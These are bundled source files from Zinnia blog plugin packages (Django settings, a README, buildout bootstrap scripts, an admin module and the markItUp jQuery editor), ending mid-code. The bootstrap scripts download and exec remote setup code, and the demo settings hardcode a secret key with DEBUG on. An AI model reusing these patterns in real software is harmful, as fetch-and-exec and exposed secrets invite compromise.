import os gettext = lambda s: s DEBUG = True TEMPLATE_DEBUG = DEBUG DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(os.path.dirname(__file__), 'demo.db')} } TIME_ZONE = 'Europe/Paris' STATIC_URL = '/static/' MEDIA_URL = '/media/' SECRET_KEY = 'jo-1rzm(%sf)3#n+fa7j945yuv3(pt63abhi12_t7e^^5q8dyw' USE_TZ = True USE_I18N = True USE_L10N = True SITE_ID = 1 LANGUAGE_CODE = 'en' LANGUAGES = ( ('en', gettext('English')), ('fr', gettext('French')), ('de', gettext('German')), ('es', gettext('Spanish')), ('it', gettext('Italian')), ('nl', gettext('Dutch')), ('sl', gettext('Slovenian')), ('bg', gettext('Bulgarian')), ('hu', gettext('Hungarian')), ('cs', gettext('Czech')), ('sk', gettext('Slovak')), ('lt', gettext('Lithuanian')), ('ru', gettext('Russian')), ('pl', gettext('Polish')), ('eu', gettext('Basque')), ('he', gettext('Hebrew')), ('ca', gettext('Catalan')), ('tr', gettext('Turkish')), ('sv', gettext('Swedish')), ('hr_HR', gettext('Croatian')), ('pt_BR', gettext('Brazilian Portuguese')), ('fi_FI', gettext('Finnish (Finland)')), ('zh_CN', gettext('Simplified Chinese')), ) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', ) ROOT_URLCONF = 'demo_zinnia_hashids.urls' TEMPLATE_CONTEXT_PROCESSORS = ( 'django.contrib.auth.context_processors.auth', 'django.core.context_processors.i18n', 'django.core.context_processors.request', 'django.contrib.messages.context_processors.messages', 'zinnia.context_processors.version', ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.sitemaps', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.sites', 'django.contrib.admin', 'django.contrib.staticfiles', 'django_comments', 'mptt', 'zinnia', 'tagging', ) ZINNIA_URL_SHORTENER_BACKEND = 'zinnia_hashids'
zinnia-url-shortener-hashids
/zinnia-url-shortener-hashids-1.1.tar.gz/zinnia-url-shortener-hashids-1.1/demo_zinnia_hashids/settings.py
settings.py
======================= zinnia-wysiwyg-ckeditor ======================= Zinnia-wysiwyg-ckeditor is a package allowing you to edit your entries with `CKEditor`_. Installation ============ * Install the package on your system: :: $ pip install zinnia-wysiwyg-ckeditor `django-ckeditor`_ will also be installed as a dependency. * Install and configure django-ckeditor if not already done. * Register the ``'zinnia_ckeditor'`` in your ``INSTALLED_APPS`` after the ``'zinnia'`` application. You are done ! Configuration ============= You can customize the CKEditor instance by defining a ``zinnia-content`` configuration into the ``CKEDITOR_CONFIGS`` setting. If the ``zinnia-content`` configuration is not found, the ``default`` configuration will be used. Example of configuration: :: CKEDITOR_CONFIGS = { 'default': { 'toolbar': 'Full', }, 'zinnia-content': { 'toolbar_Zinnia': [ ['Cut', 'Copy', 'Paste', 'PasteText', 'PasteFromWord'], ['Undo', 'Redo'], ['Scayt'], ['Link', 'Unlink', 'Anchor'], ['Image', 'Table', 'HorizontalRule', 'SpecialChar'], ['Source'], ['Maximize'], '/', ['Bold', 'Italic', 'Underline', 'Strike', 'Subscript', 'Superscript', '-', 'RemoveFormat'], ['NumberedList', 'BulletedList', '-', 'Outdent', 'Indent', '-', 'Blockquote'], ['Styles', 'Format'], ], 'toolbar': 'Zinnia', }, } .. _CKEditor: http://ckeditor.com/ .. _django-ckeditor: https://github.com/shaunsephton/django-ckeditor/
zinnia-wysiwyg-ckeditor
/zinnia-wysiwyg-ckeditor-1.3.tar.gz/zinnia-wysiwyg-ckeditor-1.3/README.rst
README.rst
import os import shutil import sys import tempfile from optparse import OptionParser tmpeggs = tempfile.mkdtemp() usage = '''\ [DESIRED PYTHON FOR BUILDOUT] bootstrap.py [options] Bootstraps a buildout-based project. Simply run this script in a directory containing a buildout.cfg, using the Python that you want bin/buildout to use. Note that by using --find-links to point to local resources, you can keep this script from going over the network. ''' parser = OptionParser(usage=usage) parser.add_option("-v", "--version", help="use a specific zc.buildout version") parser.add_option("-t", "--accept-buildout-test-releases", dest='accept_buildout_test_releases', action="store_true", default=False, help=("Normally, if you do not specify a --version, the " "bootstrap script and buildout gets the newest " "*final* versions of zc.buildout and its recipes and " "extensions for you. If you use this flag, " "bootstrap and buildout will get the newest releases " "even if they are alphas or betas.")) parser.add_option("-c", "--config-file", help=("Specify the path to the buildout configuration " "file to be used.")) parser.add_option("-f", "--find-links", help=("Specify a URL to search for buildout releases")) options, args = parser.parse_args() ###################################################################### # load/install setuptools to_reload = False try: import pkg_resources import setuptools except ImportError: ez = {} try: from urllib.request import urlopen except ImportError: from urllib2 import urlopen # XXX use a more permanent ez_setup.py URL when available. exec(urlopen('https://bitbucket.org/pypa/setuptools/raw/0.7.2/ez_setup.py' ).read(), ez) setup_args = dict(to_dir=tmpeggs, download_delay=0) ez['use_setuptools'](**setup_args) if to_reload: reload(pkg_resources) import pkg_resources # This does not (always?) update the default working set. We will # do it. for path in sys.path: if path not in pkg_resources.working_set.entries: pkg_resources.working_set.add_entry(path) ###################################################################### # Install buildout ws = pkg_resources.working_set cmd = [sys.executable, '-c', 'from setuptools.command.easy_install import main; main()', '-mZqNxd', tmpeggs] find_links = os.environ.get( 'bootstrap-testing-find-links', options.find_links or ('http://downloads.buildout.org/' if options.accept_buildout_test_releases else None) ) if find_links: cmd.extend(['-f', find_links]) setuptools_path = ws.find( pkg_resources.Requirement.parse('setuptools')).location requirement = 'zc.buildout' version = options.version if version is None and not options.accept_buildout_test_releases: # Figure out the most recent final version of zc.buildout. import setuptools.package_index _final_parts = '*final-', '*final' def _final_version(parsed_version): for part in parsed_version: if (part[:1] == '*') and (part not in _final_parts): return False return True index = setuptools.package_index.PackageIndex( search_path=[setuptools_path]) if find_links: index.add_find_links((find_links,)) req = pkg_resources.Requirement.parse(requirement) if index.obtain(req) is not None: best = [] bestv = None for dist in index[req.project_name]: distv = dist.parsed_version if _final_version(distv): if bestv is None or distv > bestv: best = [dist] bestv = distv elif distv == bestv: best.append(dist) if best: best.sort() version = best[-1].version if version: requirement = '=='.join((requirement, version)) cmd.append(requirement) import subprocess if subprocess.call(cmd, env=dict(os.environ, PYTHONPATH=setuptools_path)) != 0: raise Exception( "Failed to execute command:\n%s", repr(cmd)[1:-1]) ###################################################################### # Import and run buildout ws.add_entry(tmpeggs) ws.require(requirement) import zc.buildout.buildout if not [a for a in args if '=' not in a]: args.append('bootstrap') # if -c was provided, we push it back into args for buildout' main function if options.config_file is not None: args[0:0] = ['-c', options.config_file] zc.buildout.buildout.main(args) shutil.rmtree(tmpeggs)
zinnia-wysiwyg-ckeditor
/zinnia-wysiwyg-ckeditor-1.3.tar.gz/zinnia-wysiwyg-ckeditor-1.3/bootstrap.py
bootstrap.py
import os gettext = lambda s: s DEBUG = True TEMPLATE_DEBUG = DEBUG DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(os.path.dirname(__file__), 'demo.db')} } TIME_ZONE = 'Europe/Paris' STATIC_URL = '/static/' STATIC_ROOT = '' MEDIA_URL = '/media/' SECRET_KEY = 'jo-1rzm(%sf)3#n+fa7j945yuv3(pt63abhi12_t7e^^5q8dyw' USE_TZ = True USE_I18N = True USE_L10N = True SITE_ID = 1 LANGUAGE_CODE = 'en' LANGUAGES = ( ('en', gettext('English')), ('fr', gettext('French')), ('de', gettext('German')), ('es', gettext('Spanish')), ('it', gettext('Italian')), ('nl', gettext('Dutch')), ('sl', gettext('Slovenian')), ('bg', gettext('Bulgarian')), ('hu', gettext('Hungarian')), ('cs', gettext('Czech')), ('sk', gettext('Slovak')), ('lt', gettext('Lithuanian')), ('ru', gettext('Russian')), ('pl', gettext('Polish')), ('eu', gettext('Basque')), ('he', gettext('Hebrew')), ('ca', gettext('Catalan')), ('tr', gettext('Turkish')), ('sv', gettext('Swedish')), ('hr_HR', gettext('Croatian')), ('pt_BR', gettext('Brazilian Portuguese')), ('fa_IR', gettext('Persian')), ('fi_FI', gettext('Finnish')), ('zh_CN', gettext('Simplified Chinese')), ) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', ) ROOT_URLCONF = 'demo_zinnia_ckeditor.urls' TEMPLATE_CONTEXT_PROCESSORS = ( 'django.contrib.auth.context_processors.auth', 'django.core.context_processors.i18n', 'django.core.context_processors.request', 'django.contrib.messages.context_processors.messages', 'zinnia.context_processors.version', ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.sitemaps', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.sites', 'django.contrib.admin', 'django.contrib.staticfiles', 'django_comments', 'mptt', 'tagging', 'ckeditor_uploader', 'ckeditor', 'zinnia', 'zinnia_ckeditor', ) CKEDITOR_UPLOAD_PATH = 'uploads/' CKEDITOR_IMAGE_BACKEND = 'pillow' CKEDITOR_CONFIGS = { 'zinnia-content': { 'toolbar_Zinnia': [ ['Cut', 'Copy', 'Paste', 'PasteText', 'PasteFromWord'], ['Undo', 'Redo'], ['Scayt'], ['Link', 'Unlink', 'Anchor'], ['Image', 'Table', 'HorizontalRule', 'SpecialChar'], ['Source'], ['Maximize'], '/', ['Bold', 'Italic', 'Underline', 'Strike', 'Subscript', 'Superscript', '-', 'RemoveFormat'], ['NumberedList', 'BulletedList', '-', 'Outdent', 'Indent', '-', 'Blockquote'], ['Styles', 'Format'], ], 'toolbar': 'Zinnia', }, }
zinnia-wysiwyg-ckeditor
/zinnia-wysiwyg-ckeditor-1.3.tar.gz/zinnia-wysiwyg-ckeditor-1.3/demo_zinnia_ckeditor/settings.py
settings.py
import os import shutil import sys import tempfile from optparse import OptionParser tmpeggs = tempfile.mkdtemp() usage = '''\ [DESIRED PYTHON FOR BUILDOUT] bootstrap.py [options] Bootstraps a buildout-based project. Simply run this script in a directory containing a buildout.cfg, using the Python that you want bin/buildout to use. Note that by using --find-links to point to local resources, you can keep this script from going over the network. ''' parser = OptionParser(usage=usage) parser.add_option("-v", "--version", help="use a specific zc.buildout version") parser.add_option("-t", "--accept-buildout-test-releases", dest='accept_buildout_test_releases', action="store_true", default=False, help=("Normally, if you do not specify a --version, the " "bootstrap script and buildout gets the newest " "*final* versions of zc.buildout and its recipes and " "extensions for you. If you use this flag, " "bootstrap and buildout will get the newest releases " "even if they are alphas or betas.")) parser.add_option("-c", "--config-file", help=("Specify the path to the buildout configuration " "file to be used.")) parser.add_option("-f", "--find-links", help=("Specify a URL to search for buildout releases")) parser.add_option("--allow-site-packages", action="store_true", default=False, help=("Let bootstrap.py use existing site packages")) parser.add_option("--setuptools-version", help="use a specific setuptools version") options, args = parser.parse_args() ###################################################################### # load/install setuptools try: if options.allow_site_packages: import setuptools import pkg_resources from urllib.request import urlopen except ImportError: from urllib2 import urlopen ez = {} exec(urlopen('https://bootstrap.pypa.io/ez_setup.py').read(), ez) if not options.allow_site_packages: # ez_setup imports site, which adds site packages # this will remove them from the path to ensure that incompatible versions # of setuptools are not in the path import site # inside a virtualenv, there is no 'getsitepackages'. # We can't remove these reliably if hasattr(site, 'getsitepackages'): for sitepackage_path in site.getsitepackages(): sys.path[:] = [x for x in sys.path if sitepackage_path not in x] setup_args = dict(to_dir=tmpeggs, download_delay=0) if options.setuptools_version is not None: setup_args['version'] = options.setuptools_version ez['use_setuptools'](**setup_args) import setuptools import pkg_resources # This does not (always?) update the default working set. We will # do it. for path in sys.path: if path not in pkg_resources.working_set.entries: pkg_resources.working_set.add_entry(path) ###################################################################### # Install buildout ws = pkg_resources.working_set cmd = [sys.executable, '-c', 'from setuptools.command.easy_install import main; main()', '-mZqNxd', tmpeggs] find_links = os.environ.get( 'bootstrap-testing-find-links', options.find_links or ('http://downloads.buildout.org/' if options.accept_buildout_test_releases else None) ) if find_links: cmd.extend(['-f', find_links]) setuptools_path = ws.find( pkg_resources.Requirement.parse('setuptools')).location requirement = 'zc.buildout' version = options.version if version is None and not options.accept_buildout_test_releases: # Figure out the most recent final version of zc.buildout. import setuptools.package_index _final_parts = '*final-', '*final' def _final_version(parsed_version): try: return not parsed_version.is_prerelease except AttributeError: # Older setuptools for part in parsed_version: if (part[:1] == '*') and (part not in _final_parts): return False return True index = setuptools.package_index.PackageIndex( search_path=[setuptools_path]) if find_links: index.add_find_links((find_links,)) req = pkg_resources.Requirement.parse(requirement) if index.obtain(req) is not None: best = [] bestv = None for dist in index[req.project_name]: distv = dist.parsed_version if _final_version(distv): if bestv is None or distv > bestv: best = [dist] bestv = distv elif distv == bestv: best.append(dist) if best: best.sort() version = best[-1].version if version: requirement = '=='.join((requirement, version)) cmd.append(requirement) import subprocess if subprocess.call(cmd, env=dict(os.environ, PYTHONPATH=setuptools_path)) != 0: raise Exception( "Failed to execute command:\n%s" % repr(cmd)[1:-1]) ###################################################################### # Import and run buildout ws.add_entry(tmpeggs) ws.require(requirement) import zc.buildout.buildout if not [a for a in args if '=' not in a]: args.append('bootstrap') # if -c was provided, we push it back into args for buildout' main function if options.config_file is not None: args[0:0] = ['-c', options.config_file] zc.buildout.buildout.main(args) shutil.rmtree(tmpeggs)
zinnia-wysiwyg-markitup
/zinnia-wysiwyg-markitup-1.2.tar.gz/zinnia-wysiwyg-markitup-1.2/bootstrap.py
bootstrap.py
import os gettext = lambda s: s # noqa DEBUG = True DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(os.path.dirname(__file__), 'demo.db')} } TIME_ZONE = 'Europe/Paris' STATIC_URL = '/static/' MEDIA_URL = '/media/' SECRET_KEY = 'jo-1rzm(%sf)3#n+fa7j945yuv3(pt63abhi12_t7e^^5q8dyw' USE_TZ = True USE_I18N = True USE_L10N = True SITE_ID = 1 LANGUAGE_CODE = 'en' LANGUAGES = ( ('en', gettext('English')), ('fr', gettext('French')), ('de', gettext('German')), ('es', gettext('Spanish')), ('it', gettext('Italian')), ('nl', gettext('Dutch')), ('sl', gettext('Slovenian')), ('bg', gettext('Bulgarian')), ('hu', gettext('Hungarian')), ('cs', gettext('Czech')), ('sk', gettext('Slovak')), ('lt', gettext('Lithuanian')), ('ru', gettext('Russian')), ('pl', gettext('Polish')), ('eu', gettext('Basque')), ('he', gettext('Hebrew')), ('ca', gettext('Catalan')), ('tr', gettext('Turkish')), ('sv', gettext('Swedish')), ('is', gettext('Icelandic')), ('hr_HR', gettext('Croatian')), ('pt_BR', gettext('Brazilian Portuguese')), ('fa_IR', gettext('Persian')), ('fi_FI', gettext('Finnish')), ('uk_UA', gettext('Ukrainian')), ('zh-hans', gettext('Simplified Chinese')), ) MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'demo_zinnia_markitup.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.contrib.auth.context_processors.auth', 'django.template.context_processors.i18n', 'django.template.context_processors.request', 'django.contrib.messages.context_processors.messages', 'zinnia.context_processors.version', ] } } ] INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.sitemaps', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.sites', 'django.contrib.admin', 'django.contrib.staticfiles', 'django_comments', 'mptt', 'tagging', 'zinnia', 'zinnia_markitup', ) ZINNIA_MARKUP_LANGUAGE = 'restructuredtext'
zinnia-wysiwyg-markitup
/zinnia-wysiwyg-markitup-1.2.tar.gz/zinnia-wysiwyg-markitup-1.2/demo_zinnia_markitup/settings.py
settings.py
from django.conf.urls import url from django.contrib import admin from django.contrib.staticfiles.storage import staticfiles_storage from django.core.urlresolvers import reverse from django.forms import Media from django.template.response import TemplateResponse from django.views.decorators.csrf import csrf_exempt from zinnia import settings from zinnia.admin.entry import EntryAdmin from zinnia.models import Entry class EntryAdminMarkItUpMixin(object): """ Mixin adding WYMeditor for editing Entry.content field. """ def markitup(self, request): """ View for serving the config of MarkItUp. """ return TemplateResponse( request, 'admin/zinnia/entry/markitup.js', content_type='application/javascript') @csrf_exempt def content_preview(self, request): """ Admin view to preview Entry.content in HTML, useful when using markups to write entries. """ data = request.POST.get('data', '') entry = self.model(content=data) return TemplateResponse( request, 'admin/zinnia/entry/preview.html', {'preview': entry.html_content}) def get_urls(self): """ Overload the admin's urls for MarkItUp. """ entry_admin_urls = super(EntryAdminMarkItUpMixin, self).get_urls() urls = [ url(r'^markitup/$', self.admin_site.admin_view(self.markitup), name='zinnia_entry_markitup'), url(r'^markitup/preview/$', self.admin_site.admin_view(self.content_preview), name='zinnia_entry_markitup_preview') ] return urls + entry_admin_urls def _media(self): """ The medias needed to enhance the admin page. """ def static_url(url): return staticfiles_storage.url('zinnia_markitup/%s' % url) media = super(EntryAdminMarkItUpMixin, self).media media += Media( js=(static_url('js/jquery.min.js'), static_url('js/markitup/jquery.markitup.js'), static_url('js/markitup/sets/%s/set.js' % ( settings.MARKUP_LANGUAGE)), reverse('admin:zinnia_entry_markitup')), css={'all': ( static_url('js/markitup/skins/django/style.css'), static_url('js/markitup/sets/%s/style.css' % ( settings.MARKUP_LANGUAGE)))} ) return media media = property(_media) class EntryAdminMarkItUp(EntryAdminMarkItUpMixin, EntryAdmin): """ Enrich the default EntryAdmin with MarkItUp. """ pass if settings.ENTRY_BASE_MODEL == 'zinnia.models_bases.entry.AbstractEntry': admin.site.unregister(Entry) admin.site.register(Entry, EntryAdminMarkItUp)
zinnia-wysiwyg-markitup
/zinnia-wysiwyg-markitup-1.2.tar.gz/zinnia-wysiwyg-markitup-1.2/zinnia_markitup/admin.py
admin.py
(function($) { $.fn.markItUp = function(settings, extraSettings) { var method, params, options, ctrlKey, shiftKey, altKey; ctrlKey = shiftKey = altKey = false; if (typeof settings == 'string') { method = settings; params = extraSettings; } options = { id: '', nameSpace: '', root: '', previewHandler: false, previewInWindow: '', // 'width=800, height=600, resizable=yes, scrollbars=yes' previewInElement: '', previewAutoRefresh: true, previewPosition: 'after', previewTemplatePath: '~/templates/preview.html', previewParser: false, previewParserPath: '', previewParserVar: 'data', previewParserAjaxType: 'POST', resizeHandle: true, beforeInsert: '', afterInsert: '', onEnter: {}, onShiftEnter: {}, onCtrlEnter: {}, onTab: {}, markupSet: [ { /* set */ } ] }; $.extend(options, settings, extraSettings); // compute markItUp! path if (!options.root) { $('script').each(function(a, tag) { miuScript = $(tag).get(0).src.match(/(.*)jquery\.markitup(\.pack)?\.js$/); if (miuScript !== null) { options.root = miuScript[1]; } }); } // Quick patch to keep compatibility with jQuery 1.9 var uaMatch = function(ua) { ua = ua.toLowerCase(); var match = /(chrome)[ \/]([\w.]+)/.exec(ua) || /(webkit)[ \/]([\w.]+)/.exec(ua) || /(opera)(?:.*version|)[ \/]([\w.]+)/.exec(ua) || /(msie) ([\w.]+)/.exec(ua) || ua.indexOf("compatible") < 0 && /(mozilla)(?:.*? rv:([\w.]+)|)/.exec(ua) || []; return { browser: match[ 1 ] || "", version: match[ 2 ] || "0" }; }; var matched = uaMatch( navigator.userAgent ); var browser = {}; if (matched.browser) { browser[matched.browser] = true; browser.version = matched.version; } if (browser.chrome) { browser.webkit = true; } else if (browser.webkit) { browser.safari = true; } return this.each(function() { var $$, textarea, levels, scrollPosition, caretPosition, caretOffset, clicked, hash, header, footer, previewWindow, template, iFrame, abort; $$ = $(this); textarea = this; levels = []; abort = false; scrollPosition = caretPosition = 0; caretOffset = -1; options.previewParserPath = localize(options.previewParserPath); options.previewTemplatePath = localize(options.previewTemplatePath); if (method) { switch(method) { case 'remove': remove(); break; case 'insert': markup(params); break; default: $.error('Method ' + method + ' does not exist on jQuery.markItUp'); } return; } // apply the computed path to ~/ function localize(data, inText) { if (inText) { return data.replace(/("|')~\//g, "$1"+options.root); } return data.replace(/^~\//, options.root); } // init and build editor function init() { id = ''; nameSpace = ''; if (options.id) { id = 'id="'+options.id+'"'; } else if ($$.attr("id")) { id = 'id="markItUp'+($$.attr("id").substr(0, 1).toUpperCase())+($$.attr("id").substr(1))+'"'; } if (options.nameSpace) { nameSpace = 'class="'+options.nameSpace+'"'; } $$.wrap('<div '+nameSpace+'></div>'); $$.wrap('<div '+id+' class="markItUp"></div>'); $$.wrap('<div class="markItUpContainer"></div>'); $$.addClass("markItUpEditor"); // add the header before the textarea header = $('<div class="markItUpHeader"></div>').insertBefore($$); $(dropMenus(options.markupSet)).appendTo(header); // add the footer after the textarea footer = $('<div class="markItUpFooter"></div>').insertAfter($$); // add the resize handle after textarea if (options.resizeHandle === true && browser.safari !== true) { resizeHandle = $('<div class="markItUpResizeHandle"></div>') .insertAfter($$) .bind("mousedown.markItUp", function(e) { var h = $$.height(), y = e.clientY, mouseMove, mouseUp; mouseMove = function(e) { $$.css("height", Math.max(20, e.clientY+h-y)+"px"); return false; }; mouseUp = function(e) { $("html").unbind("mousemove.markItUp", mouseMove).unbind("mouseup.markItUp", mouseUp); return false; }; $("html").bind("mousemove.markItUp", mouseMove).bind("mouseup.markItUp", mouseUp); }); footer.append(resizeHandle); } // listen key events $$.bind('keydown.markItUp', keyPressed).bind('keyup', keyPressed); // bind an event to catch external calls $$.bind("insertion.markItUp", function(e, settings) { if (settings.target !== false) { get(); } if (textarea === $.markItUp.focused) { markup(settings); } }); // remember the last focus $$.bind('focus.markItUp', function() { $.markItUp.focused = this; }); if (options.previewInElement) { refreshPreview(); } } // recursively build header with dropMenus from markupset function dropMenus(markupSet) { var ul = $('<ul></ul>'), i = 0; $('li:hover > ul', ul).css('display', 'block'); $.each(markupSet, function() { var button = this, t = '', title, li, j; button.title ? title = (button.key) ? (button.title||'')+' [Ctrl+'+button.key+']' : (button.title||'') : title = (button.key) ? (button.name||'')+' [Ctrl+'+button.key+']' : (button.name||''); key = (button.key) ? 'accesskey="'+button.key+'"' : ''; if (button.separator) { li = $('<li class="markItUpSeparator">'+(button.separator||'')+'</li>').appendTo(ul); } else { i++; for (j = levels.length -1; j >= 0; j--) { t += levels[j]+"-"; } li = $('<li class="markItUpButton markItUpButton'+t+(i)+' '+(button.className||'')+'"><a href="#" '+key+' title="'+title+'">'+(button.name||'')+'</a></li>') .bind("contextmenu.markItUp", function() { // prevent contextmenu on mac and allow ctrl+click return false; }).bind('click.markItUp', function(e) { e.preventDefault(); }).bind("focusin.markItUp", function(){ $$.focus(); }).bind('mouseup', function(e) { if (button.call) { eval(button.call)(e); // Pass the mouseup event to custom delegate } setTimeout(function() { markup(button) },1); return false; }).bind('mouseenter.markItUp', function() { $('> ul', this).show(); $(document).one('click', function() { // close dropmenu if click outside $('ul ul', header).hide(); } ); }).bind('mouseleave.markItUp', function() { $('> ul', this).hide(); }).appendTo(ul); if (button.dropMenu) { levels.push(i); $(li).addClass('markItUpDropMenu').append(dropMenus(button.dropMenu)); } } }); levels.pop(); return ul; } // markItUp! markups function magicMarkups(string) { if (string) { string = string.toString(); string = string.replace(/\(\!\(([\s\S]*?)\)\!\)/g, function(x, a) { var b = a.split('|!|'); if (altKey === true) { return (b[1] !== undefined) ? b[1] : b[0]; } else { return (b[1] === undefined) ? "" : b[0]; } } ); // [![prompt]!], [![prompt:!:value]!] string = string.replace(/\[\!\[([\s\S]*?)\]\!\]/g, function(x, a) { var b = a.split(':!:'); if (abort === true) { return false; } value = prompt(b[0], (b[1]) ? b[1] : ''); if (value === null) { abort = true; } return value; } ); return string; } return ""; } // prepare action function prepare(action) { if ($.isFunction(action)) { action = action(hash); } return magicMarkups(action); } // build block to insert function build(string) { var openWith = prepare(clicked.openWith); var placeHolder = prepare(clicked.placeHolder); var replaceWith = prepare(clicked.replaceWith); var closeWith = prepare(clicked.closeWith); var openBlockWith = prepare(clicked.openBlockWith); var closeBlockWith = prepare(clicked.closeBlockWith); var multiline = clicked.multiline; if (replaceWith !== "") { block = openWith + replaceWith + closeWith; } else if (selection === '' && placeHolder !== '') { block = openWith + placeHolder + closeWith; } else { string = string || selection; var lines = [string], blocks = []; if (multiline === true) { lines = string.split(/\r?\n/); } for (var l = 0; l < lines.length; l++) { line = lines[l]; var trailingSpaces; if (trailingSpaces = line.match(/ *$/)) { blocks.push(openWith + line.replace(/ *$/g, '') + closeWith + trailingSpaces); } else { blocks.push(openWith + line + closeWith); } } block = blocks.join("\n"); } block = openBlockWith + block + closeBlockWith; return { block:block, openBlockWith:openBlockWith, openWith:openWith, replaceWith:replaceWith, placeHolder:placeHolder, closeWith:closeWith, closeBlockWith:closeBlockWith }; } // define markup to insert function markup(button) { var len, j, n, i; hash = clicked = button; get(); $.extend(hash, { line:"", root:options.root, textarea:textarea, selection:(selection||''), caretPosition:caretPosition, ctrlKey:ctrlKey, shiftKey:shiftKey, altKey:altKey } ); // callbacks before insertion prepare(options.beforeInsert); prepare(clicked.beforeInsert); if ((ctrlKey === true && shiftKey === true) || button.multiline === true) { prepare(clicked.beforeMultiInsert); } $.extend(hash, { line:1 }); if ((ctrlKey === true && shiftKey === true)) { lines = selection.split(/\r?\n/); for (j = 0, n = lines.length, i = 0; i < n; i++) { if ($.trim(lines[i]) !== '') { $.extend(hash, { line:++j, selection:lines[i] } ); lines[i] = build(lines[i]).block; } else { lines[i] = ""; } } string = { block:lines.join('\n')}; start = caretPosition; len = string.block.length + ((browser.opera) ? n-1 : 0); } else if (ctrlKey === true) { string = build(selection); start = caretPosition + string.openWith.length; len = string.block.length - string.openWith.length - string.closeWith.length; len = len - (string.block.match(/ $/) ? 1 : 0); len -= fixIeBug(string.block); } else if (shiftKey === true) { string = build(selection); start = caretPosition; len = string.block.length; len -= fixIeBug(string.block); } else { string = build(selection); start = caretPosition + string.block.length ; len = 0; start -= fixIeBug(string.block); } if ((selection === '' && string.replaceWith === '')) { caretOffset += fixOperaBug(string.block); start = caretPosition + string.openBlockWith.length + string.openWith.length; len = string.block.length - string.openBlockWith.length - string.openWith.length - string.closeWith.length - string.closeBlockWith.length; caretOffset = $$.val().substring(caretPosition, $$.val().length).length; caretOffset -= fixOperaBug($$.val().substring(0, caretPosition)); } $.extend(hash, { caretPosition:caretPosition, scrollPosition:scrollPosition } ); if (string.block !== selection && abort === false) { insert(string.block); set(start, len); } else { caretOffset = -1; } get(); $.extend(hash, { line:'', selection:selection }); // callbacks after insertion if ((ctrlKey === true && shiftKey === true) || button.multiline === true) { prepare(clicked.afterMultiInsert); } prepare(clicked.afterInsert); prepare(options.afterInsert); // refresh preview if opened if (previewWindow && options.previewAutoRefresh) { refreshPreview(); } // reinit keyevent shiftKey = altKey = ctrlKey = abort = false; } // Substract linefeed in Opera function fixOperaBug(string) { if (browser.opera) { return string.length - string.replace(/\n*/g, '').length; } return 0; } // Substract linefeed in IE function fixIeBug(string) { if (browser.msie) { return string.length - string.replace(/\r*/g, '').length; } return 0; } // add markup function insert(block) { if (document.selection) { var newSelection = document.selection.createRange(); newSelection.text = block; } else { textarea.value = textarea.value.substring(0, caretPosition) + block + textarea.value.substring(caretPosition + selection.length, textarea.value.length); } } // set a selection function set(start, len) { if (textarea.createTextRange){ // quick fix to make it work on Opera 9.5 if (browser.opera && browser.version >= 9.5 && len == 0) { return false; } range = textarea.createTextRange(); range.collapse(true); range.moveStart('character', start); range.moveEnd('character', len); range.select(); } else if (textarea.setSelectionRange ){ textarea.setSelectionRange(start, start + len); } textarea.scrollTop = scrollPosition; textarea.focus(); } // get the selection function get() { textarea.focus(); scrollPosition = textarea.scrollTop; if (document.selection) { selection = document.selection.createRange().text; if (browser.msie) { // ie var range = document.selection.createRange(), rangeCopy = range.duplicate(); rangeCopy.moveToElementText(textarea); caretPosition = -1; while(rangeCopy.inRange(range)) { rangeCopy.moveStart('character'); caretPosition ++; } } else { // opera caretPosition = textarea.selectionStart; } } else { // gecko & webkit caretPosition = textarea.selectionStart; selection = textarea.value.substring(caretPosition, textarea.selectionEnd); } return selection; } // open preview window function preview() { if (typeof options.previewHandler === 'function') { previewWindow = true; } else if (options.previewInElement) { previewWindow = $(options.previewInElement); } else if (!previewWindow || previewWindow.closed) { if (options.previewInWindow) { previewWindow = window.open('', 'preview', options.previewInWindow); $(window).unload(function() { previewWindow.close(); }); } else { iFrame = $('<iframe class="markItUpPreviewFrame"></iframe>'); if (options.previewPosition == 'after') { iFrame.insertAfter(footer); } else { iFrame.insertBefore(header); } previewWindow = iFrame[iFrame.length - 1].contentWindow || frame[iFrame.length - 1]; } } else if (altKey === true) { if (iFrame) { iFrame.remove(); } else { previewWindow.close(); } previewWindow = iFrame = false; } if (!options.previewAutoRefresh) { refreshPreview(); } if (options.previewInWindow) { previewWindow.focus(); } } // refresh Preview window function refreshPreview() { renderPreview(); } function renderPreview() { var phtml; if (options.previewHandler && typeof options.previewHandler === 'function') { options.previewHandler( $$.val() ); } else if (options.previewParser && typeof options.previewParser === 'function') { var data = options.previewParser( $$.val() ); writeInPreview(localize(data, 1) ); } else if (options.previewParserPath !== '') { $.ajax({ type: options.previewParserAjaxType, dataType: 'text', global: false, url: options.previewParserPath, data: options.previewParserVar+'='+encodeURIComponent($$.val()), success: function(data) { writeInPreview( 